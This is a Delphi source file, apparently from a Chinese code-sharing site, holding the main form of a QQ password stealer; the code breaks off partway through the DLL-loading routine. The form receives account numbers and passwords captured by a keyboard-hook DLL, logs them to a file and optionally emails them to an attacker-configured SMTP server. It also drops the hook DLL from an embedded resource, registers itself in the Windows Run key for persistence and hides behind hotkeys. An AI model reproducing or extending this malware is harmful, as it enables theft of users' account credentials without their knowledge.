📄 mainfrm.pas
字号:
unit Mainfrm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls,inifiles,registry,passwordfrm,types, Grids,
WinshoeMessage, Winshoes, SMTPWinshoe, ExtCtrls, RXCtrls;
type
THookON=procedure;stdcall;
THookOff=procedure; stdcall;
TGQPFRM = class(TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
GroupBox1: TGroupBox;
EdMailServer: TEdit;
EdMailPort: TEdit;
Cbautosendmail: TCheckBox;
Label1: TLabel;
Label2: TLabel;
EdMailUsername: TEdit;
Label3: TLabel;
EdMailPassword: TEdit;
Label4: TLabel;
Label5: TLabel;
EdMailAddress: TEdit;
BuMailTest: TButton;
GroupBox2: TGroupBox;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
EdOldPass: TEdit;
EdNewPass1: TEdit;
EdNewPass2: TEdit;
CBPASS: TCheckBox;
GroupBox3: TGroupBox;
Label9: TLabel;
EDataFile: TEdit;
Button2: TButton;
Button3: TButton;
Button4: TButton;
GroupBox4: TGroupBox;
RbCusOptHotkey: TRadioButton;
RbDefOptHotkey: TRadioButton;
LBDefOptHotkey: TLabel;
EdCusOptHotkey: TEdit;
GroupBox5: TGroupBox;
RbCusDataHotkey: TRadioButton;
RbDefDataHotkey: TRadioButton;
LbDefDataHotkey: TLabel;
EdCusDatahotkey: TEdit;
CBAutoRun: TCheckBox;
TabSheet4: TTabSheet;
GroupBox7: TGroupBox;
TabSheet5: TTabSheet;
CBServerCheck: TCheckBox;
SMTP: TWinshoeSMTP;
MSG: TWinshoeMessage;
lbabout: TLabel;
Label10: TLabel;
Label12: TLabel;
Bevel1: TBevel;
Image1: TImage;
SaveDialog1: TSaveDialog;
RxLabel1: TRxLabel;
LV: TListView;
Label11: TLabel;
procedure Button4Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure CBPASSClick(Sender: TObject);
procedure RbCusOptHotkeyClick(Sender: TObject);
procedure RbDefOptHotkeyClick(Sender: TObject);
procedure RbDefDataHotkeyClick(Sender: TObject);
procedure RbCusDataHotkeyClick(Sender: TObject);
procedure CbautosendmailClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure EdCusOptHotkeyKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure EdCusDatahotkeyKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure EdCusOptHotkeyKeyPress(Sender: TObject; var Key: Char);
procedure EdCusDatahotkeyKeyPress(Sender: TObject; var Key: Char);
procedure CBServerCheckClick(Sender: TObject);
procedure BuMailTestClick(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
private
{ Private declarations }
dllhandle:THandle;
DllName:string;
HookOn:THookOn;HookOff:THookOff;
mkey1,mkey2:string;
ftemOption:Toption;
OptWinhotkeyid,CloseAppHotKeyId:integer;
procedure hotkeypress(var msg:TWMHotKey);message wm_hotkey;
procedure GetData(var t: TWmCopyData); message WM_COPYDATA;
function dLoadDll:boolean;
function initapp:boolean;
procedure closeapp;
procedure SetOption;
procedure SetDefaultOption;
procedure WriteOptionFile;
procedure readOptionFile;
procedure UpdataForm;
procedure SetSystem;
function GetKeyStr(key:word):string;
function CheckInput:boolean;
function CheckNetTabSheet:boolean;
procedure sendmail(HostAddress:string;port:integer;UserID:string;Password:string;Emailaddress:string;
qqnum:string;qqpass:string);
procedure TestSendMail(HostAddress,port,UserID,Password,Emailaddress:string);
function WhetherOnLine:boolean;
public
{ Public declarations }
end;
TSenderThread = class(TThread)
public
mstate:boolean;
mSMTP: TWinshoeSMTP;
mMsg: TWinshoeMessage;
procedure Execute; override;
end;
function InternetCheckConnection(lpszUrl: PAnsiChar; dwFlags: DWORD;
dwReserved: DWORD): BOOL; stdcall; external 'wininet.dll' name 'InternetCheckConnectionA';
var
GQPFRM: TGQPFRM;
implementation
{$R *.DFM}
function TGQPFRM.GetKeyStr(key:word):string;
var
mkey:string;
begin
// if key in [16..18] then exit;
if (key in [65..90]) or (key in [48..57]) then mkey:=char(key);
case key of
VK_BACK:mkey:= 'Back';
VK_NUMPAD1:mkey:= 'NUM 1';
VK_NUMPAD2:mkey:= 'NUM 2';
VK_NUMPAD3:mkey:= 'NUM 3';
VK_NUMPAD4:mkey:= 'NUM 4';
VK_NUMPAD5:mkey:= 'NUM 5';
VK_NUMPAD6:mkey:= 'NUM 6';
VK_NUMPAD7:mkey:= 'NUM 7';
VK_NUMPAD8:mkey:= 'NUM 8';
VK_NUMPAD9:mkey:= 'NUM 9';
VK_NUMPAD0:mkey:= 'NUM 0';
VK_MULTIPLY:mkey:= 'NUM *';
VK_ADD: mkey:= 'NUM +';
VK_SUBTRACT:mkey:= 'NUM -';
VK_DECIMAL: mkey:= 'NUM .';
VK_DIVIDE: mkey:= 'NUM /';
VK_NUMLOCK:mkey:='NUMLOCK';
VK_SCROLL :mkey:='SCROLLLOCK';
VK_PAUSE :mkey:='PAUSE';
VK_INSERT :mkey:='INSERT';
VK_DELETE :mkey:='DELETE';
VK_PRIOR :mkey:='PageUp';
VK_NEXT :mkey:='PageDown';
VK_END :mkey:='END';
VK_HOME :mkey:='HOME';
VK_LEFT :mkey:='LEFT';
VK_UP :mkey:='UP';
VK_RIGHT :mkey:='RIGHT';
VK_DOWN :mkey:='DOWN';
VK_ESCAPE :mkey:='ESC';
VK_F1 :mkey:='F1';
VK_F2 :mkey:='F2';
VK_F3 :mkey:='F3';
VK_F4 :mkey:='F4';
VK_F5 :mkey:='F5';
VK_F6 :mkey:='F6';
VK_F7 :mkey:='F7';
VK_F8 :mkey:='F8';
VK_F9 :mkey:='F9';
VK_F10 :mkey:='F10';
VK_F11 :mkey:='F11';
VK_F12 :mkey:='F12';
192:mkey:='`';
189:mkey:='-';
187:mkey:='=';
220:mkey:='\';
VK_RETURN:mkey:='ENTER';
219:mkey:='[';
221:mkey:=']';
20:mkey:='CAPSLOCK';
186:mkey:=';';
222:mkey:='''';
188:mkey:=',';
190:mkey:='.';
191:mkey:='/';
VK_LWIN:mkey:='LWIN';
VK_RWIN:mkey:='RWIN';
VK_SPACE:mkey:='SPACE';
end;
result:=mkey;
end;
procedure TGQPFRM.GetData(var t: TWmCopyData);
var
i:integer;
qqnumpass:string;
qqnum,qqpass:string;
qqdatafile:textfile;
mitem:TlistItem;
begin
qqnumpass:=StrPas(t.CopyDataStruct.lpData);
i:=pos('/',qqnumpass);
qqnum:=copy(qqnumpass,1,i-1);
qqpass:=copy(qqnumpass,i+1,length(qqnumpass)-i);
mitem:=lv.Items.Add;
mitem.Caption:=qqnum;
mitem.SubItems.Add(qqpass);
if AppOption.DataFile<>''then
begin
assignfile(qqdatafile,AppOption.DataFile);
if not fileexists(AppOption.DataFile) then
begin
rewrite(qqdatafile);
end;
append(qqdatafile);
writeln(qqdatafile,'Number:'+qqnum+' Password:'+qqpass);
closefile(qqdatafile);
end;
if AppOption.autosendmail then
begin
sendmail(AppOption.mailserver,appoption.mailPort,appoption.mailUserName,
AppOption.mailPassword,AppOption.MailAddress,qqnum,qqpass);
end;
end;
procedure TGQPFRM.hotkeypress(var msg:TWMHotKey);
begin
if msg.HotKey=OptWinhotkeyid then
begin
if not self.Visible then
begin
UpdataForm;
if AppOption.password<>'' then
PasswordDlg.Show
else
begin
self.Visible:=true;
end;
end;
end;
if msg.HotKey=CloseAppHotKeyId then
if not self.Visible then close;
end;
procedure TGQPFRM.SetDefaultOption;
begin
with AppOption do
begin
autorun:=false;
password:='';
DataFile:='';
OptWinHotKey.cusHotkey:=false;
OptWinHotkey.ctrl:=true;
OptWinHotkey.shift:=true;
OptWinHotkey.alt:=true;
OptWinHotkey.key:=vk_F7;
CloseAppHotKey.cusHotkey:=false;
CloseAppHotKey.ctrl:=true;
CloseAppHotKey.shift:=true;
CloseAppHotKey.alt:=true;
CloseAppHotKey.key:=vk_F8;
autosendmail:=false;
mailPort:=25;
servercheck:=false;
end;
end;
procedure TGQPFRM.WriteOptionFile;
var
inif:Tinifile;
begin
inif:=Tinifile.Create(copy(application.ExeName,1,length(application.ExeName)-4)+'.ini');
inif.WriteBool('general','autorun',appoption.autorun);
inif.WriteString('general','password',appoption.password);
inif.WriteString('general','DataFile',appoption.Datafile);
inif.WriteBool('hotkey','OptWinHotkeycus',appoption.OptWinHotkey.cusHotkey);
inif.WriteBool('hotkey','OptWinHotkeyCtrl',appoption.optwinhotkey.ctrl);
inif.WriteBool('hotkey','OptWinHotkeyShift',appoption.optwinhotkey.Shift);
inif.WriteBool('hotkey','OptWinHotkeyAlt',appoption.optwinhotkey.Alt);
inif.Writeinteger('hotkey','OptWinHotkeykey',appoption.Optwinhotkey.key);
inif.WriteBool('hotkey','CloseAppHotKeycus',appoption.CloseAppHotKey.cusHotkey);
inif.WriteBool('hotkey','CloseAppHotKeyCtrl',appoption.CloseAppHotKey.Ctrl);
inif.WriteBool('hotkey','CloseAppHotKeyShift',appoption.CloseAppHotKey.Shift);
inif.WriteBool('hotkey','CloseAppHotKeyAlt',appoption.CloseAppHotKey.Alt);
inif.Writeinteger('hotkey','CloseAppHotKeykey',appoption.CloseAppHotKey.key);
inif.WriteBool('network','autosedmail',appoption.autosendmail);
inif.WriteString('network','mailserver',appoption.mailserver);
inif.WriteBool('network','servercheck',appoption.servercheck);
inif.WriteString('network','mailUserName',appoption.mailUserName);
inif.WriteString('network','mailPassword',appoption.mailPassword);
inif.WriteString('network','MailAddress',appoption.MailAddress);
inif.WriteInteger('network','mailPort',appoption.mailPort);
inif.Free;
end;
procedure TGQPFRM.readOptionFile;
var
inif:Tinifile;
begin
inif:=Tinifile.Create(copy(application.ExeName,1,length(application.ExeName)-4)+'.ini');
appoption.autorun:=inif.readBool('general','autorun',false);
appoption.password:=inif.readString('general','password','');
appoption.datafile:=inif.readstring('general','DataFile','');
appoption.OptWinHotkey.cusHotkey:=inif.readBool('hotkey','OptWinHotkeycus',false);
appoption.optwinhotkey.ctrl:=inif.readBool('hotkey','OptWinHotkeyCtrl',false);
appoption.optwinhotkey.Shift:=inif.readBool('hotkey','OptWinHotkeyShift',false);
appoption.optwinhotkey.Alt:=inif.readBool('hotkey','OptWinHotkeyAlt',false);
appoption.Optwinhotkey.key:=inif.readinteger('hotkey','OptWinHotkeykey',0);
appoption.CloseAppHotKey.cusHotkey:=inif.readBool('hotkey','CloseAppHotKeycus',false);
appoption.CloseAppHotKey.Ctrl:=inif.readBool('hotkey','CloseAppHotKeyCtrl',false);
appoption.CloseAppHotKey.Shift:=inif.readBool('hotkey','CloseAppHotKeyShift',false);
appoption.CloseAppHotKey.Alt:=inif.readBool('hotkey','CloseAppHotKeyAlt',false);
appoption.CloseAppHotKey.key:=inif.readinteger('hotkey','CloseAppHotKeykey',0);
appoption.autosendmail:=inif.readBool('network','autosedmail',false);
appoption.mailserver:=inif.readString('network','mailserver','');
appoption.MailAddress:=inif.readString('network','MailAddress','');
appoption.mailPort:=inif.readInteger('network','mailPort',25);
appoption.servercheck:=inif.readBool('network','servercheck',false);
appoption.mailUserName:=inif.readString('network','mailUserName','');
appoption.mailPassword:=inif.readString('network','mailPassword','');
inif.Free;
end;
procedure TGQPFRM.UpdataForm;
var
mhotkey:string;
begin
ftemoption:=appoption;
self.PageControl1.ActivePage:=TabSheet5;
with appoption do
begin
if autorun then
begin self.CBAutoRun.Checked:=true;end
else
begin self.CBAutoRun.Checked:=false;end;
self.CBPASS.Checked:=false;
self.EdOldPass.Text:='';
self.EdOldPass.Enabled:=false;
self.EdNewPass1.Text:='';
self.EdNewPass1.Enabled:=false;
self.EdNewPass2.Text:='';
self.EdNewPass2.Enabled:=false;
self.EDataFile.Text:=DataFile;
if optwinhotkey.cushotkey=true then
begin
self.RbCusOptHotkey.Checked:=true;
if optwinhotkey.ctrl then mhotkey:='Ctrl';
if optwinhotkey.shift then mhotkey:=mhotkey+'+shift';
if optwinhotkey.alt then mhotkey:=mhotkey+'+Alt';
if optwinhotkey.key<>0 then mhotkey:=mhotkey+'+'+GetKeyStr(optwinhotkey.key);
self.EdCusOptHotkey.Text:=mhotkey;
end
else
begin
self.RbDefOptHotkey.Checked:=true;
self.EdCusOptHotkey.Text:='';
end;
if CloseAppHotKey.cushotkey=true then
begin
self.RbCusDataHotkey.Checked:=true;
if CloseAppHotKey.ctrl then mhotkey:='Ctrl';
if CloseAppHotKey.shift then mhotkey:=mhotkey+'+shift';
if CloseAppHotKey.alt then mhotkey:=mhotkey+'+Alt';
if CloseAppHotKey.key<>0 then mhotkey:=mhotkey+'+'+GetKeyStr(CloseAppHotKey.key);
self.EdCusDatahotkey.Text:=mhotkey;
end
else
begin
self.RbDefDataHotkey.Checked:=true;
self.EdCusDatahotkey.Text:='';
end;
if autosendmail then
begin
self.Cbautosendmail.Checked:=true;
CbautosendmailClick(self);
self.EdMailServer.Text:=mailserver;
self.EdMailAddress.Text:=mailaddress;
self.EdMailPort.Text:=inttostr(mailport);
if servercheck then
begin
self.CBServerCheck.Checked:=true;
cbservercheckclick(self);
self.EdMailUsername.Text:=mailusername;
self.EdMailPassword.Text:=mailpassword;
end
else
begin
self.CBServerCheck.Checked:=false;
self.EdMailUsername.Text:='';
self.EdMailPassword.Text:='';
end;
end
else
begin
self.Cbautosendmail.Checked:=false;
self.EdMailServer.Text:='';
self.EdMailUsername.Text:='';
self.EdMailPassword.Text:='';
self.EdMailAddress.Text:='';
self.EdMailPort.Text:=inttostr(mailport);
self.CBServerCheck.Enabled:=false;
CbautosendmailClick(self);
end;
end;
end;
procedure TGQPFRM.SetSystem;
var
freg:Tregistry;
Fshift:Word;
begin
freg:=Tregistry.create;
freg.rootkey:=HKEY_LOCAL_MACHINE;
freg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True);
if appoption.autorun then
begin
freg.DeleteValue('GQP');
freg.WriteString('GQP',application.ExeName);
end
else
begin
freg.DeleteValue('GQP');
end;
freg.Closekey;
freg.Free;
Fshift:=0;
if appoption.OptWinHotkey.shift then Fshift:=MOD_SHIFT;
if appoption.OptWinHotkey.ctrl then Fshift:=Fshift or MOD_CONTROL;
if appoption.OptWinHotkey.alt then Fshift:=Fshift or MOD_ALT;
registerhotkey(handle,OptWinhotkeyid,fshift,appoption.OptWinHotkey.key);
Fshift:=0;
if appoption.CloseAppHotKey.shift then Fshift:=MOD_SHIFT;
if appoption.CloseAppHotKey.ctrl then Fshift:=Fshift or MOD_CONTROL;
if appoption.CloseAppHotKey.alt then Fshift:=Fshift or MOD_ALT;
registerhotkey(handle,CloseAppHotKeyId,fshift,appoption.CloseAppHotKey.key);
end;
procedure TGQPFRM.SetOption;
begin
//if AppOption=ftemOption then exit;
AppOption:=ftemOption;
end;
function TGQPFRM.dLoadDll:boolean;
var
Res: TResourceStream;
begin
result:=false;
dllname:=copy(application.ExeName,1,length(application.ExeName)-4)+'.dll';
// dllname:=copy(application.ExeName,1,length(application.ExeName)-4)+'l.dll';
if not FileExists(dllname) then
begin
Res := TResourceStream.Create(Hinstance, 'MYDAT', RT_RCDATA);
Res.SavetoFile(dllname);
Res.Free;
end;
dllhandle := LoadLibrary(pchar(dllname));
try
if dllhandle <> 0 then
begin
@HookOn := GetProcAddress(dllhandle, 'HookOn');
@HookOff:= GetProcAddress(dllhandle, 'HookOff');
if (@HookOn=nil)or(@HookOff=nil) then
begin
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -